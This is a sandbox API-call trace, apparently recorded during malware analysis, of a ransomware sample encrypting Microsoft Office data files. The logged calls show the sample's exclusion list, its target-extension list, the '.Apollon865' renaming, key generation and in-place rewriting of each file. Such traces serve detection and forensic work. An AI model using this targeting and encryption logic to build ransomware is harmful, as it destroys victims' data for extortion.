	[0069.287] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.287] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0069.288] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.288] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0069.288] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.288] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0069.290] CloseHandle (hObject=0x118) returned 1
	[0069.290] CloseHandle (hObject=0x15c) returned 1
	[0069.290] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.290] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0069.290] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.291] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07a0100, ftCreationTime.dwHighDateTime=0x1ca2c4b, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07a0100, ftLastWriteTime.dwHighDateTime=0x1ca2c4b, nFileSizeHigh=0x0, nFileSizeLow=0x2247e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGMN001.XML", cAlternateFileName="")) returned 1
	[0069.292] lstrcmpiW (lpString1="PGMN001.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.292] lstrcmpiW (lpString1="PGMN001.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.292] lstrcmpiW (lpString1="PGMN001.XML", lpString2=".") returned 1
	[0069.292] lstrcmpiW (lpString1="PGMN001.XML", lpString2="..") returned 1
	[0069.292] lstrcmpiW (lpString1="PGMN001.XML", lpString2="windows") returned -1
	[0069.292] lstrcmpiW (lpString1="PGMN001.XML", lpString2="bootmgr") returned 1
	[0069.292] lstrcmpiW (lpString1="PGMN001.XML", lpString2="temp") returned -1
	[0069.292] lstrcmpiW (lpString1="PGMN001.XML", lpString2="pagefile.sys") returned 1
	[0069.292] lstrcmpiW (lpString1="PGMN001.XML", lpString2="boot") returned 1
	[0069.292] lstrcmpiW (lpString1="PGMN001.XML", lpString2="ids.txt") returned 1
	[0069.292] lstrcmpiW (lpString1="PGMN001.XML", lpString2="ntuser.dat") returned 1
	[0069.292] lstrcmpiW (lpString1="PGMN001.XML", lpString2="perflogs") returned 1
	[0069.292] lstrcmpiW (lpString1="PGMN001.XML", lpString2="MSBuild") returned 1
	[0069.292] lstrlenW (lpString="PGMN001.XML") returned 11
	[0069.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL111.XML") returned 64
	[0069.292] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGMN001.XML" | out: lpString1="PGMN001.XML") returned="PGMN001.XML"
	[0069.292] lstrlenW (lpString="PGMN001.XML") returned 11
	[0069.292] lstrlenW (lpString="Apollon865") returned 10
	[0069.292] lstrcmpiW (lpString1="GMN001.XML", lpString2="Apollon865") returned 1
	[0069.292] lstrlenW (lpString=".dll") returned 4
	[0069.292] lstrcmpiW (lpString1="PGMN001.XML", lpString2=".dll") returned 1
	[0069.292] lstrlenW (lpString=".lnk") returned 4
	[0069.292] lstrcmpiW (lpString1="PGMN001.XML", lpString2=".lnk") returned 1
	[0069.292] lstrlenW (lpString=".ini") returned 4
	[0069.292] lstrcmpiW (lpString1="PGMN001.XML", lpString2=".ini") returned 1
	[0069.292] lstrlenW (lpString=".sys") returned 4
	[0069.292] lstrcmpiW (lpString1="PGMN001.XML", lpString2=".sys") returned 1
	[0069.292] lstrlenW (lpString="PGMN001.XML") returned 11
	[0069.292] lstrlenW (lpString="bak") returned 3
	[0069.292] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.292] lstrlenW (lpString="ba_") returned 3
	[0069.292] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.292] lstrlenW (lpString="dbb") returned 3
	[0069.292] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.292] lstrlenW (lpString="vmdk") returned 4
	[0069.292] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.292] lstrlenW (lpString="rar") returned 3
	[0069.292] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.293] lstrlenW (lpString="zip") returned 3
	[0069.293] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.293] lstrlenW (lpString="tgz") returned 3
	[0069.293] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.293] lstrlenW (lpString="vbox") returned 4
	[0069.293] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.293] lstrlenW (lpString="vdi") returned 3
	[0069.293] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.293] lstrlenW (lpString="vhd") returned 3
	[0069.293] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.293] lstrlenW (lpString="vhdx") returned 4
	[0069.293] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.293] lstrlenW (lpString="avhd") returned 4
	[0069.293] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.293] lstrlenW (lpString="db") returned 2
	[0069.293] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.293] lstrlenW (lpString="db2") returned 3
	[0069.293] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.293] lstrlenW (lpString="db3") returned 3
	[0069.293] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.293] lstrlenW (lpString="dbf") returned 3
	[0069.293] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.293] lstrlenW (lpString="mdf") returned 3
	[0069.293] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.293] lstrlenW (lpString="mdb") returned 3
	[0069.293] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.293] lstrlenW (lpString="sql") returned 3
	[0069.293] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.293] lstrlenW (lpString="sqlite") returned 6
	[0069.293] lstrcmpiW (lpString1="01.XML", lpString2="sqlite") returned -1
	[0069.293] lstrlenW (lpString="sqlite3") returned 7
	[0069.293] lstrcmpiW (lpString1="001.XML", lpString2="sqlite3") returned -1
	[0069.293] lstrlenW (lpString="sqlitedb") returned 8
	[0069.293] lstrcmpiW (lpString1="N001.XML", lpString2="sqlitedb") returned -1
	[0069.293] lstrlenW (lpString="xml") returned 3
	[0069.293] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.294] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN001.XML.Apollon865") returned 74
	[0069.294] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN001.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn001.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN001.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn001.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN001.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn001.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.295] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=140414) returned 1
	[0069.295] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.295] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.295] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0069.295] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.296] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.296] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.296] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x22780, lpName=0x0) returned 0x118
	[0069.298] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x22780) returned 0x120000
	[0069.305] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.306] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.306] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.306] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.306] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.306] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.306] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.306] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.306] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.306] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0069.306] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.306] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0069.306] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.306] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0069.307] CloseHandle (hObject=0x118) returned 1
	[0069.308] CloseHandle (hObject=0x15c) returned 1
	[0069.308] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.308] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0069.308] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.308] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x669e4c00, ftCreationTime.dwHighDateTime=0x1ca1a4b, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x669e4c00, ftLastWriteTime.dwHighDateTime=0x1ca1a4b, nFileSizeHigh=0x0, nFileSizeLow=0xeb68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGMN002.XML", cAlternateFileName="")) returned 1
	[0069.308] lstrcmpiW (lpString1="PGMN002.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.308] lstrcmpiW (lpString1="PGMN002.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.308] lstrcmpiW (lpString1="PGMN002.XML", lpString2=".") returned 1
	[0069.309] lstrcmpiW (lpString1="PGMN002.XML", lpString2="..") returned 1
	[0069.309] lstrcmpiW (lpString1="PGMN002.XML", lpString2="windows") returned -1
	[0069.309] lstrcmpiW (lpString1="PGMN002.XML", lpString2="bootmgr") returned 1
	[0069.309] lstrcmpiW (lpString1="PGMN002.XML", lpString2="temp") returned -1
	[0069.309] lstrcmpiW (lpString1="PGMN002.XML", lpString2="pagefile.sys") returned 1
	[0069.309] lstrcmpiW (lpString1="PGMN002.XML", lpString2="boot") returned 1
	[0069.309] lstrcmpiW (lpString1="PGMN002.XML", lpString2="ids.txt") returned 1
	[0069.309] lstrcmpiW (lpString1="PGMN002.XML", lpString2="ntuser.dat") returned 1
	[0069.309] lstrcmpiW (lpString1="PGMN002.XML", lpString2="perflogs") returned 1
	[0069.309] lstrcmpiW (lpString1="PGMN002.XML", lpString2="MSBuild") returned 1
	[0069.309] lstrlenW (lpString="PGMN002.XML") returned 11
	[0069.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN001.XML") returned 63
	[0069.309] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGMN002.XML" | out: lpString1="PGMN002.XML") returned="PGMN002.XML"
	[0069.309] lstrlenW (lpString="PGMN002.XML") returned 11
	[0069.309] lstrlenW (lpString="Apollon865") returned 10
	[0069.309] lstrcmpiW (lpString1="GMN002.XML", lpString2="Apollon865") returned 1
	[0069.309] lstrlenW (lpString=".dll") returned 4
	[0069.309] lstrcmpiW (lpString1="PGMN002.XML", lpString2=".dll") returned 1
	[0069.309] lstrlenW (lpString=".lnk") returned 4
	[0069.309] lstrcmpiW (lpString1="PGMN002.XML", lpString2=".lnk") returned 1
	[0069.309] lstrlenW (lpString=".ini") returned 4
	[0069.309] lstrcmpiW (lpString1="PGMN002.XML", lpString2=".ini") returned 1
	[0069.309] lstrlenW (lpString=".sys") returned 4
	[0069.309] lstrcmpiW (lpString1="PGMN002.XML", lpString2=".sys") returned 1
	[0069.309] lstrlenW (lpString="PGMN002.XML") returned 11
	[0069.309] lstrlenW (lpString="bak") returned 3
	[0069.309] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.309] lstrlenW (lpString="ba_") returned 3
	[0069.309] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.309] lstrlenW (lpString="dbb") returned 3
	[0069.309] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.309] lstrlenW (lpString="vmdk") returned 4
	[0069.309] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.309] lstrlenW (lpString="rar") returned 3
	[0069.309] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.310] lstrlenW (lpString="zip") returned 3
	[0069.310] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.310] lstrlenW (lpString="tgz") returned 3
	[0069.310] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.310] lstrlenW (lpString="vbox") returned 4
	[0069.310] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.310] lstrlenW (lpString="vdi") returned 3
	[0069.310] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.310] lstrlenW (lpString="vhd") returned 3
	[0069.310] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.310] lstrlenW (lpString="vhdx") returned 4
	[0069.310] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.310] lstrlenW (lpString="avhd") returned 4
	[0069.310] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.310] lstrlenW (lpString="db") returned 2
	[0069.310] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.310] lstrlenW (lpString="db2") returned 3
	[0069.310] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.310] lstrlenW (lpString="db3") returned 3
	[0069.310] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.310] lstrlenW (lpString="dbf") returned 3
	[0069.310] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.310] lstrlenW (lpString="mdf") returned 3
	[0069.310] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.310] lstrlenW (lpString="mdb") returned 3
	[0069.310] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.310] lstrlenW (lpString="sql") returned 3
	[0069.310] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.310] lstrlenW (lpString="sqlite") returned 6
	[0069.310] lstrcmpiW (lpString1="02.XML", lpString2="sqlite") returned -1
	[0069.310] lstrlenW (lpString="sqlite3") returned 7
	[0069.310] lstrcmpiW (lpString1="002.XML", lpString2="sqlite3") returned -1
	[0069.310] lstrlenW (lpString="sqlitedb") returned 8
	[0069.310] lstrcmpiW (lpString1="N002.XML", lpString2="sqlitedb") returned -1
	[0069.310] lstrlenW (lpString="xml") returned 3
	[0069.310] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.310] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN002.XML.Apollon865") returned 74
	[0069.311] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN002.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn002.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN002.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn002.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN002.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn002.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.312] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=60264) returned 1
	[0069.312] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.312] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.312] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0069.312] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.313] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.313] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.313] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xee70, lpName=0x0) returned 0x118
	[0069.315] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xee70) returned 0x100000
	[0069.318] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.319] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.319] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.319] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.319] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.319] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.319] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.319] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.319] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.319] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0069.319] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.319] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0069.319] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.319] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0069.320] CloseHandle (hObject=0x118) returned 1
	[0069.320] CloseHandle (hObject=0x15c) returned 1
	[0069.320] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.320] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0069.320] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.320] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c7ce900, ftCreationTime.dwHighDateTime=0x1c9f4a3, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c7ce900, ftLastWriteTime.dwHighDateTime=0x1c9f4a3, nFileSizeHigh=0x0, nFileSizeLow=0x1bc4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGMN010.XML", cAlternateFileName="")) returned 1
	[0069.320] lstrcmpiW (lpString1="PGMN010.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.320] lstrcmpiW (lpString1="PGMN010.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.320] lstrcmpiW (lpString1="PGMN010.XML", lpString2=".") returned 1
	[0069.320] lstrcmpiW (lpString1="PGMN010.XML", lpString2="..") returned 1
	[0069.321] lstrcmpiW (lpString1="PGMN010.XML", lpString2="windows") returned -1
	[0069.321] lstrcmpiW (lpString1="PGMN010.XML", lpString2="bootmgr") returned 1
	[0069.321] lstrcmpiW (lpString1="PGMN010.XML", lpString2="temp") returned -1
	[0069.321] lstrcmpiW (lpString1="PGMN010.XML", lpString2="pagefile.sys") returned 1
	[0069.321] lstrcmpiW (lpString1="PGMN010.XML", lpString2="boot") returned 1
	[0069.321] lstrcmpiW (lpString1="PGMN010.XML", lpString2="ids.txt") returned 1
	[0069.321] lstrcmpiW (lpString1="PGMN010.XML", lpString2="ntuser.dat") returned 1
	[0069.321] lstrcmpiW (lpString1="PGMN010.XML", lpString2="perflogs") returned 1
	[0069.321] lstrcmpiW (lpString1="PGMN010.XML", lpString2="MSBuild") returned 1
	[0069.321] lstrlenW (lpString="PGMN010.XML") returned 11
	[0069.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN002.XML") returned 63
	[0069.321] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGMN010.XML" | out: lpString1="PGMN010.XML") returned="PGMN010.XML"
	[0069.321] lstrlenW (lpString="PGMN010.XML") returned 11
	[0069.321] lstrlenW (lpString="Apollon865") returned 10
	[0069.321] lstrcmpiW (lpString1="GMN010.XML", lpString2="Apollon865") returned 1
	[0069.321] lstrlenW (lpString=".dll") returned 4
	[0069.321] lstrcmpiW (lpString1="PGMN010.XML", lpString2=".dll") returned 1
	[0069.321] lstrlenW (lpString=".lnk") returned 4
	[0069.321] lstrcmpiW (lpString1="PGMN010.XML", lpString2=".lnk") returned 1
	[0069.321] lstrlenW (lpString=".ini") returned 4
	[0069.321] lstrcmpiW (lpString1="PGMN010.XML", lpString2=".ini") returned 1
	[0069.321] lstrlenW (lpString=".sys") returned 4
	[0069.321] lstrcmpiW (lpString1="PGMN010.XML", lpString2=".sys") returned 1
	[0069.321] lstrlenW (lpString="PGMN010.XML") returned 11
	[0069.321] lstrlenW (lpString="bak") returned 3
	[0069.321] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.321] lstrlenW (lpString="ba_") returned 3
	[0069.321] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.321] lstrlenW (lpString="dbb") returned 3
	[0069.321] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.321] lstrlenW (lpString="vmdk") returned 4
	[0069.321] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.321] lstrlenW (lpString="rar") returned 3
	[0069.321] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.321] lstrlenW (lpString="zip") returned 3
	[0069.321] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.321] lstrlenW (lpString="tgz") returned 3
	[0069.322] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.322] lstrlenW (lpString="vbox") returned 4
	[0069.322] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.322] lstrlenW (lpString="vdi") returned 3
	[0069.322] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.322] lstrlenW (lpString="vhd") returned 3
	[0069.322] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.322] lstrlenW (lpString="vhdx") returned 4
	[0069.322] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.322] lstrlenW (lpString="avhd") returned 4
	[0069.322] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.322] lstrlenW (lpString="db") returned 2
	[0069.322] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.322] lstrlenW (lpString="db2") returned 3
	[0069.322] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.322] lstrlenW (lpString="db3") returned 3
	[0069.322] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.322] lstrlenW (lpString="dbf") returned 3
	[0069.322] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.322] lstrlenW (lpString="mdf") returned 3
	[0069.322] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.322] lstrlenW (lpString="mdb") returned 3
	[0069.322] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.322] lstrlenW (lpString="sql") returned 3
	[0069.322] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.322] lstrlenW (lpString="sqlite") returned 6
	[0069.322] lstrcmpiW (lpString1="10.XML", lpString2="sqlite") returned -1
	[0069.322] lstrlenW (lpString="sqlite3") returned 7
	[0069.322] lstrcmpiW (lpString1="010.XML", lpString2="sqlite3") returned -1
	[0069.322] lstrlenW (lpString="sqlitedb") returned 8
	[0069.322] lstrcmpiW (lpString1="N010.XML", lpString2="sqlitedb") returned -1
	[0069.322] lstrlenW (lpString="xml") returned 3
	[0069.322] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.322] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN010.XML.Apollon865") returned 74
	[0069.322] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN010.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn010.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN010.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn010.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN010.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn010.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.323] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=7108) returned 1
